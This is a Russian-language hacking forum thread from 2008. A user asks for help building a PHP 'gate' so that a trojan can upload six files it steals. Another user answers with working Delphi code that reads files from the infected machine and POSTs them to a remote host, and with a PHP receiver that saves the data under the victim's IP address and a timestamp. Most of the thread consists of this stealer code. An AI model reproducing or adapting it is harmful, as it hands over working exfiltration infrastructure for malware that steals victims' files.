Переслать файл через POST в гейт'е [php]
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Переслать файл через POST в гейт'е [php] - 2008-08-02 15:33:12.623333
|
|
|
xrem
Сообщений: 30
Оценки: 0
Присоединился: 2008-01-09 02:17:20.353333
|
Эм… Здрасте ) Помогите маленький гейт написать, ну в [sm=cd.gif]Добрых[sm=cd.gif] целях ))) Как через ПХП оформить такое… Тройянус тырит 6 файлов и делать отчет , как переслать их по очереди через POST ? Затем их надо же ещё сохранить 0-) Нужно чтоб он делал папку с временем. ну типа (02.08.08_15.32) Заранее спасибо , кто поможет выйграет приз ) (срок получения ~120дней)
|
|
|
RE: Переслать файл через POST в гейт'е [php] - 2008-08-02 15:37:47.296666
|
|
|
oRb
Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
|
так тебе, что конкретно не понятно? Прием или отсылка? Зы: если хочешь, чтоб за тебя написали, раздел работа => http://forum.xakep.ru/forumid_308/tt.htm
|
|
|
RE: Переслать файл через POST в гейт'е [php] - 2008-08-05 19:25:53.763333
|
|
|
FLIER
Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
|
на посмотри:
function GetFileData(szFile: PChar): PChar; //çàãðóçêà ôàéëà â ïàìÿòü
var
hFile, dwSize, dwBytes: DWORD;
begin
Result := '';
hFile := CreateFile(szFile, GENERIC_READ, 0, nil, OPEN_EXISTING, 0, 0);
if hFile <> INVALID_HANDLE_VALUE then
begin
dwSize := GetFileSize(hFile, nil);
Result := VirtualAlloc(nil, dwSize, MEM_COMMIT, PAGE_READWRITE);
ReadFile(hFile, Result^, dwSize, dwBytes, nil);
end;
CloseHandle(hFile);
end; //GetFileData
procedure SendPOSTData(const szHost, szPath, szData: PChar); //// ïîñëàòü ôàéë çàïðñîì POST
var
hOpenHandle,
hConnectHandle,
hResourceHandle: Pointer;
begin
hOpenHandle := InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONFIG,nil, nil,0);
if hOpenHandle <> nil then
begin
hConnectHandle := InternetConnect(hOpenHandle,szHost,80,nil,nil,3,0,0);
if hConnectHandle <> nil then
begin
hResourceHandle := HttpOpenRequest(hConnectHandle,'POST',szPath,nil,nil,nil,INTERNET_FLAG_KEEP_CONNECTION,0);
if hResourceHandle <> nil then
begin
HttpSendRequest(hResourceHandle,'Content-Type: application/x-www-form-urlencoded',47,szData,lstrlen(szData));
end;
InternetCloseHandle(hResourceHandle);
end;
InternetCloseHandle(hConnectHandle);
end;
InternetCloseHandle(hOpenHandle);
end; //SendPOSTData
procedure Send_Report(way: string);
begin
try
If FindFirst(way,faAnyFile,TS)=0 then
begin
try
ZeroMemory(@szBuf, SizeOf(szBuf)); //îáíóëÿåì ìàññèâ
lstrcpy(szBuf, PChar('fname='+TS.name+'&data='));
lstrcat(szBuf, ((GetFileData(PChar(Way)))));
SendPOSTData(Pchar(Host),Pchar(Path),szBuf);
except
end;
end;
FindClose(TS);
except end;
end;
Передаш в "Send_Report" полный путь и имя! гейт:
<?
Error_Reporting(E_ALL & ~E_NOTICE);
$dt=date('Y-m-d_[H:i:s]');
$text=$_POST['data'];
$ip = getenv ("REMOTE_ADDR");
$fli = $ip."_".$dt.".arm";
$fp = fopen($fli, "a");
fwrite($fp, $text);
fclose($fp);
?>
|
|
|
|
|